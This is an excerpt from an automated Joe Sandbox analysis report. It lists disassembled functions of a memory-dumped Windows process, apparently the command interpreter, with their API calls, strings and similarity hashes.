Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

FindFirstFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,-00000001), ref: 001A4F67
FindClose.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,?,-00000001), ref: 001A4F77
FindFirstFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00192670,?,?,?,-00000001), ref: 001A4FEB
FindNextFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,?,?,-00000001), ref: 001A5103
FindClose.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,-00000001), ref: 001A511E
??_V@YAXPAX@Z.MSVCRT(?,-00000001), ref: 001A5141

Strings

\\?\, xrefs: 001B0DBA

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Find$File$CloseFirstmemset$Next
String ID: \\?\
API String ID: 3059144641-4282027825
Opcode ID: 6388ae86abf1a76b951ab5d4b958babe66ee62131f8108795942f573c21124ad
Instruction ID: e5b769b9dd4987b3306e2181f3587adfcc25c5e30703e1d70180064ab615e028
Opcode Fuzzy Hash: 6388ae86abf1a76b951ab5d4b958babe66ee62131f8108795942f573c21124ad
Instruction Fuzzy Hash: 0AE1BE75A042099BDF24EBA8CC85BFE73B9EF69304F4404A9E909D7181E731AE85CB50

Function 0019532E Relevance: 19.8, APIs: 13, Instructions: 272COMMON

Download Yara Rule

APIs

GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,00000000,00000002), ref: 0019539C

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 4ceb19a37a536c41d63c1fdfee8444dd2f9aaa5272d859cff0743d040188cebf
Instruction ID: f164941a74d490d13f425f7954d546385949ce727db130593173328f41c97272
Opcode Fuzzy Hash: 4ceb19a37a536c41d63c1fdfee8444dd2f9aaa5272d859cff0743d040188cebf
Instruction Fuzzy Hash: 0AA1F3799001068BCF25DF78C8856BEB3B5FF55310F5585AAE94AE7240EB319EC1CB50

Function 001B769E Relevance: 19.7, APIs: 7, Strings: 4, Instructions: 464COMMON

Download Yara Rule

APIs

EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(91B40133,00000000,?), ref: 001B7710
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 001B7722

Part of subcall function 0019EC2E: GetEnvironmentVariableW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,001BE590,00002000,?,001D8BF0,00000000,?,?,00198F0D), ref: 0019EC51

towupper.MSVCRT ref: 001B78BC
LocalFree.API-MS-WIN-CORE-HEAP-L2-1-0(00000000,?,?,?,?,?,?,?,?,?,?,?), ref: 001B79F1
GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0(?,00191F8C,00193B98), ref: 001B7B15
EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(00000000,91B40133,00000000,?), ref: 001B7D0D
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 001B7D20

Strings

%s , xrefs: 001B7C01
Unknown, xrefs: 001B7BCB
PROMPT, xrefs: 001B775D
%s>, xrefs: 001B7CA8

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: CriticalSection$EnterLeave$DriveEnvironmentFreeLocalTypeVariabletowupper
String ID: %s $%s>$PROMPT$Unknown
API String ID: 708651206-3050974680
Opcode ID: a0b2f5035081a0d2695d4d4bcd6a32903ead2c5b786cfea33593bedf24bf7fed
Instruction ID: 7044f8209ea922eaa6a1fd8e1376fc8d352f642c56e74ba53ba3b22896297517
Opcode Fuzzy Hash: a0b2f5035081a0d2695d4d4bcd6a32903ead2c5b786cfea33593bedf24bf7fed
Instruction Fuzzy Hash: 4702F875A051169BCF24EF28CC49AFAB7B5EF84710F54819EE409E7290EB309E81DF94

Function 001BC1FA Relevance: 19.7, APIs: 13, Instructions: 179filememorynativeCOMMON

Download Yara Rule

APIs

Part of subcall function 001BC135: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000,00000000,?), ref: 001BC14E
Part of subcall function 001BC135: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000008,?,00000000,00000000,?), ref: 001BC16A

Part of subcall function 001BC135: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000,00000000,?,?,00000000,00000000,?), ref: 001BC17B

SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(40002749,00000001), ref: 001BC24F
CreateDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,00000001), ref: 001BC270
CreateFileW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,40000000,00000001,00000000,00000003,02000000,00000000), ref: 001BC293
RtlDosPathNameToNtPathName_U.NTDLL(00000000,?,00000000,00000000), ref: 001BC2AE
memset.MSVCRT ref: 001BC2EF
memcpy.MSVCRT(?,?,?), ref: 001BC324
memcpy.MSVCRT(?,00000000,?), ref: 001BC370
NtFsControlFile.NTDLL(?,00000000,00000000,00000000,?,000900A4,?,?,00000000,00000000), ref: 001BC392
RtlNtStatusToDosError.NTDLL ref: 001BC39D
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000), ref: 001BC3A4
CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(?), ref: 001BC3B6
RtlFreeHeap.NTDLL(?,00000000,00000000), ref: 001BC3D1
RemoveDirectoryW.API-MS-WIN-CORE-FILE-L1-1-0(00000000), ref: 001BC3E2

Part of subcall function 001BC5F2: memset.MSVCRT ref: 001BC62E
Part of subcall function 001BC5F2: memset.MSVCRT ref: 001BC656
Part of subcall function 001BC5F2: GetVolumePathNameW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,?,-00000105,-00000105,?,?,?,00000001,00000000,00000000), ref: 001BC6C7
Part of subcall function 001BC5F2: GetDriveTypeW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,?,00000001,00000000,00000000), ref: 001BC6E6
Part of subcall function 001BC5F2: GetVolumeInformationW.API-MS-WIN-CORE-FILE-L1-1-0(?,00000000,00000000,00000000,?,?,?,00000001,?,?,?,00000001,00000000,00000000), ref: 001BC72A

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Path$ErrorName$Lastmemset$CreateDirectoryFileFullVolumememcpy$CloseControlDriveFreeHandleHeapInformationName_RemoveStatusType
String ID:
API String ID: 223857506-0
Opcode ID: 771af1b6d5f3f09dcbe15f0f5a85914630c4b0111eb35b649e7310f2212978eb
Instruction ID: 1c65d72b68e1745b3e652720507095059cc778c656ef80c4b860a40a173dfee6
Opcode Fuzzy Hash: 771af1b6d5f3f09dcbe15f0f5a85914630c4b0111eb35b649e7310f2212978eb
Instruction Fuzzy Hash: 46518F75A01205AFDB149FB8DC45AFEB7B8FF88304B54816AF802E7251E7349E41CBA0

Function 00199310 Relevance: 17.7, APIs: 7, Strings: 3, Instructions: 249timeCOMMON

Download Yara Rule

APIs

GetSystemTime.API-MS-WIN-CORE-SYSINFO-L1-1-0(?,001BE590,?,00002000), ref: 00199342
SystemTimeToFileTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0(?,?), ref: 00199356
FileTimeToLocalFileTime.API-MS-WIN-CORE-FILE-L1-1-0(?,?), ref: 0019936A
FileTimeToSystemTime.API-MS-WIN-CORE-TIMEZONE-L1-1-0(?,?), ref: 0019937E
GetLocaleInfoW.API-MS-WIN-CORE-LOCALIZATION-L1-2-0(00000000,00001003,?,00000080), ref: 001ABC07
GetTimeFormatW.API-MS-WIN-CORE-DATETIME-L1-1-0(00000000,00000002,?,?,?,00000020), ref: 001ABD31

Strings

%02d%s%02d%s, xrefs: 001ABDAA
%2d%s%02d%s%02d%s%02d, xrefs: 001993C0
HH:mm:ss t, xrefs: 001ABC17

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Time$File$System$FormatInfoLocalLocale
String ID: %02d%s%02d%s$%2d%s%02d%s%02d%s%02d$HH:mm:ss t
API String ID: 55602301-2516506544
Opcode ID: 4a2732eaf79095ac121095e55a46a727d6748a2b38163c594df8ca9622bd3144
Instruction ID: 4f8c6c6b9eea88130e605051dbe2ed870eb3c27b854d7593ad7539ebc3c26866
Opcode Fuzzy Hash: 4a2732eaf79095ac121095e55a46a727d6748a2b38163c594df8ca9622bd3144
Instruction Fuzzy Hash: 6281F57AA002599BCF24DFA4CC84AFEB3B9EF45704F4441AAE809E7145EB359E85CB50

Function 001A589A Relevance: 15.1, APIs: 10, Instructions: 106memoryfileCOMMON

Download Yara Rule

APIs

FindFirstFileExW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,00000000,?,00000000,00000000,00000002,00000000,00000000,?,001A59D0,?,00196054,-00001038,00000000,?,?), ref: 001A58BB
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,001A59D0,?,00196054,-00001038,00000000,?,?,00000000,00000000,-00000001), ref: 001A58CD
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,00000014,?,001A59D0,?,00196054,-00001038,00000000,?,?,00000000,00000000,-00000001), ref: 001A5944
HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,001A59D0,?,00196054,-00001038,00000000,?,?,00000000,00000000,-00000001), ref: 001A594B
GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,00000000,?,001A59D0,?,00196054,-00001038,00000000,?,?,00000000,00000000,-00000001), ref: 001A596C
HeapReAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,001A59D0,?,00196054,-00001038,00000000,?,?,00000000,00000000,-00000001), ref: 001A5973
FindNextFileW.API-MS-WIN-CORE-FILE-L1-1-0(00000000,?,?,001A59D0,?,00196054,-00001038,00000000,?,?,00000000,00000000,-00000001), ref: 001A598F
FindClose.API-MS-WIN-CORE-FILE-L1-1-0(?,?,001A59D0,?,00196054,-00001038,00000000,?,?,00000000,00000000,-00000001), ref: 001A59B6
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,001A59D0,?,00196054,-00001038,00000000,?,?,00000000,00000000,-00000001), ref: 001B160B
FindClose.API-MS-WIN-CORE-FILE-L1-1-0(?,?,001A59D0,?,00196054,-00001038,00000000,?,?,00000000,00000000,-00000001), ref: 001B1618

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: FindHeap$AllocCloseErrorFileLastProcess$FirstNext
String ID:
API String ID: 3609286125-0
Opcode ID: 2c89a2e7e75d4056ad186aeb2f688d2b7ed30bb46bfc6527f1e2b3b088bd2db4
Instruction ID: 7175edea4d6cc9168c62910b811b0d1afa56da63e0a987fdd1f26a92f087026d
Opcode Fuzzy Hash: 2c89a2e7e75d4056ad186aeb2f688d2b7ed30bb46bfc6527f1e2b3b088bd2db4
Instruction Fuzzy Hash: 0E31F039206700EFCB148F24EC09B6E3BB6EF46339F644919F592876E0D7359885EB51

Function 001A4759 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 81filenativeCOMMON

Download Yara Rule

APIs

RtlDosPathNameToRelativeNtPathName_U_WithStatus.NTDLL ref: 001A4782
NtOpenFile.NTDLL(000000FF,00010000,?,?,00000004,00005040), ref: 001A47D4
RtlReleaseRelativeName.NTDLL(?), ref: 001A47E0
RtlFreeUnicodeString.NTDLL(?), ref: 001A47EA

Part of subcall function 001A4823: NtQueryVolumeInformationFile.NTDLL ref: 001A484F

CloseHandle.API-MS-WIN-CORE-HANDLE-L1-1-0(000000FF), ref: 001A480E
DeleteFileW.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00000001), ref: 001B096F
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 001B097D

Strings

@, xrefs: 001A47C3

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: File$NamePathRelative$CloseDeleteErrorFreeHandleInformationLastName_OpenQueryReleaseStatusStringUnicodeVolumeWith
String ID: @
API String ID: 2968197161-2766056989
Opcode ID: 5afd1a76a5c0d2a589fb6b690693a3803c67f633b7cf1d6623e659f9944e35f6
Instruction ID: 9eabf7e92e0d2772ad49fcdb7ca72c46a954ce885dc99a9c410c39c8a09097cb
Opcode Fuzzy Hash: 5afd1a76a5c0d2a589fb6b690693a3803c67f633b7cf1d6623e659f9944e35f6
Instruction Fuzzy Hash: D6217C75E01209ABDB11DFE5DD88AEEBBB8AF48714F104126FA06F2251D7749E44CB60

Function 001B7460 Relevance: 13.6, APIs: 9, Instructions: 66filenativeCOMMON

Download Yara Rule

APIs

EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 001B7483
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 001B7495
fprintf.MSVCRT ref: 001B74BB
fflush.MSVCRT ref: 001B74C9
TryAcquireSRWLockExclusive.API-MS-WIN-CORE-SYNCH-L1-1-0(001D8E04), ref: 001B74E2
NtCancelSynchronousIoFile.NTDLL(00000000,00000000), ref: 001B74F8
ReleaseSRWLockExclusive.API-MS-WIN-CORE-SYNCH-L1-1-0(001D8E04), ref: 001B74FF
_get_osfhandle.MSVCRT ref: 001B751C
FlushConsoleInputBuffer.API-MS-WIN-CORE-CONSOLE-L2-1-0(00000000), ref: 001B7524

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: CriticalExclusiveLockSection$AcquireBufferCancelConsoleEnterFileFlushInputLeaveReleaseSynchronous_get_osfhandlefflushfprintf
String ID:
API String ID: 3139166086-0
Opcode ID: 93a6726f1c31d9821c923de16ba0d7e72e1eedd99adaf55d649aa16e1371c6d9
Instruction ID: 4b82282b3829f2904ae95941d75a4a38a2011b74180bdbaf3eac684d6b54b527
Opcode Fuzzy Hash: 93a6726f1c31d9821c923de16ba0d7e72e1eedd99adaf55d649aa16e1371c6d9
Instruction Fuzzy Hash: 8911B23010A200AFDB25AB60ED0EFBA7F68EF85756F44411AF401918E1D7B589C1CA62

Function 00194E3B Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 135nativeCOMMON

Download Yara Rule

APIs

_setjmp3.MSVCRT ref: 00194E78

Part of subcall function 00198E9E: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0(?,001D8BF0,00000000,?), ref: 00198EC3

Part of subcall function 0019DCD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0019ACD8,00000001,?,00000000,00198C23,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000), ref: 0019DCE1
Part of subcall function 0019DCD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0019ACD8,00000001,?,00000000,00198C23,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000,00000000), ref: 0019DCE8

NtQueryInformationProcess.NTDLL ref: 00194F28
NtSetInformationProcess.NTDLL ref: 00194F46
NtSetInformationProcess.NTDLL ref: 00194FAE
longjmp.MSVCRT(001D0A30,00000001,00000000), ref: 001A91C8

Strings

%9d, xrefs: 00194F72
P,Tw, xrefs: 00194F46, 00194FAE

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: Process$Information$Heap$AllocCurrentDirectoryQuery_setjmp3longjmp
String ID: %9d$P,Tw
API String ID: 4212706909-2760334267
Opcode ID: 38f1b2794b7671100ae30c61ef3d4a46d4841e73f3798123b44c40c9be19ce61
Instruction ID: 69e69274daf6f2823ee143e929abc1c188123c66a9404e6af27129e98f877c1b
Opcode Fuzzy Hash: 38f1b2794b7671100ae30c61ef3d4a46d4841e73f3798123b44c40c9be19ce61
Instruction Fuzzy Hash: 0841E3B0A01311EFDB10DFA99C49E6ABFF5EB84724F14451AF614D76D0DBB08981CBA1

Function 001A4875 Relevance: 10.9, APIs: 5, Strings: 1, Instructions: 376COMMON

Download Yara Rule

APIs

Part of subcall function 001A1D90: _wcsnicmp.MSVCRT ref: 001A1E14

Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BCA7
Part of subcall function 0019BC30: iswspace.MSVCRT ref: 0019BD1D
Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BD39
Part of subcall function 0019BC30: wcschr.MSVCRT ref: 0019BD5D

Part of subcall function 001A4BAF: _wcsnicmp.MSVCRT ref: 001A4C1A
Part of subcall function 001A4BAF: _wcsnicmp.MSVCRT ref: 001B0B39

memset.MSVCRT ref: 001A4975
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(00000000,?,00000000,-00000001,00000000,-00000001,00000104,00000000,00000001), ref: 001A4ABC
GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0(?), ref: 001A4AF4
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 001A4AFF
??_V@YAXPAX@Z.MSVCRT(?,00000000), ref: 001A4B28

Strings

COPYCMD, xrefs: 001A48AC

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: _wcsnicmpwcschr$ErrorLast$AttributesFileiswspacememset
String ID: COPYCMD
API String ID: 1068965577-3727491224
Opcode ID: 981907101a870203c028f5d789c979ebacbf8b8abb21e61382c300a76ed1d24c
Instruction ID: 4c8cb001c2a56abd97a4396d8f18870e1b85dec89967922cacc648fde4d59466
Opcode Fuzzy Hash: 981907101a870203c028f5d789c979ebacbf8b8abb21e61382c300a76ed1d24c
Instruction Fuzzy Hash: 65D1E539A002159BCB29DF78C895ABBB3F1EF9D304F554569E80AD7281EB70ED41CB50

Function 00197A34 Relevance: 9.3, APIs: 6, Instructions: 338COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00197A9C
memset.MSVCRT ref: 00197AC7

Part of subcall function 0019E3F0: memset.MSVCRT ref: 0019E455

Part of subcall function 0019DCD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0019ACD8,00000001,?,00000000,00198C23,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000), ref: 0019DCE1
Part of subcall function 0019DCD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0019ACD8,00000001,?,00000000,00198C23,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000,00000000), ref: 0019DCE8

??_V@YAXPAX@Z.MSVCRT(?,00007FE9,?,?,?,?,00000000,?), ref: 00197BCA
??_V@YAXPAX@Z.MSVCRT(?,00007FE9,?,?,?,?,00000000,?), ref: 00197BDC
longjmp.MSVCRT(001D0A30,00000001,00007FE9,00007FE9,?,?,?,?,00000000,?), ref: 001AAE5B

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: memset$Heap$AllocProcesslongjmp
String ID:
API String ID: 2656838167-0
Opcode ID: 369ac6c67cb1315f66d92bb07a8c47237c361e356a3b05715d12b82d0a89c61e
Instruction ID: 0cdc7c3eafc8f17046e4988bf16271e5a780930d166b6c8e092387c1f5518d2c
Opcode Fuzzy Hash: 369ac6c67cb1315f66d92bb07a8c47237c361e356a3b05715d12b82d0a89c61e
Instruction Fuzzy Hash: A8D10374A142159FCF38DF24C891BBEB7B1BF15300F48419DE94AA7681DB70AE81CB95

Function 00196E57 Relevance: 9.3, APIs: 6, Instructions: 326COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 0f56f541fa5b24114c713ae763918ce2cdde8b03c7c7be5d3c36e498e3b21210
Instruction ID: 3cd68914ae3b56017e51047e3b2c5c9c6333ad979b50dfbc604bfd17e21800bf
Opcode Fuzzy Hash: 0f56f541fa5b24114c713ae763918ce2cdde8b03c7c7be5d3c36e498e3b21210
Instruction Fuzzy Hash: 7AC1C5356083018FCB14EF24D951A6BB7E2EFA9704F44892DF8868B391EB31DD45CB92

Function 001A0740 Relevance: 7.8, APIs: 5, Instructions: 290COMMON

Download Yara Rule

APIs

Part of subcall function 0019DCD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0019ACD8,00000001,?,00000000,00198C23,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000), ref: 0019DCE1
Part of subcall function 0019DCD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0019ACD8,00000001,?,00000000,00198C23,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000,00000000), ref: 0019DCE8

wcstol.MSVCRT ref: 001A08D9
wcstol.MSVCRT ref: 001A08F3
wcstol.MSVCRT ref: 001A090B

Memory Dump Source

Source File: 0000000D.00000002.1629765335.0000000000191000.00000020.00000001.01000000.0000000A.sdmp, Offset: 00190000, based on PE: true

Associated: 0000000D.00000002.1629711951.0000000000190000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629876713.00000000001BE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DA000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1629927979.00000000001DE000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_190000_alpha.jbxd

Similarity

API ID: wcstol$Heap$AllocProcess
String ID:
API String ID: 2343214347-0
Opcode ID: 750fa8e9cd073dc5f7bec778e0c91645f026c41c6176504ea10a9685194b691d
Instruction ID: 46f31cbcf24ac0a041f322cb9b16a778cc92ae1ac22649043f17659af56c7b93
Opcode Fuzzy Hash: 750fa8e9cd073dc5f7bec778e0c91645f026c41c6176504ea10a9685194b691d
Instruction Fuzzy Hash: 4BA1DC38A003048BDB29DFA8D895A7FBBF6EF49704F54402DE906DB641EB749C42CB90

Function 00196B20 Relevance: 7.8, APIs: 5, Instructions: 272COMMON

Download Yara Rule

APIs

Part of subcall function 0019DCD0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(00000008,?,?,0019ACD8,00000001,?,00000000,00198C23,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000), ref: 0019DCE1
Part of subcall function 0019DCD0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(00000000,?,0019ACD8,00000001,?,00000000,00198C23,-00000105,001BC9B0,00000240,001A1E92,00000000,00000000,001AACE0,00000000,00000000), ref: 0019DCE8

_pipe.MSVCRT ref: 00196B4F
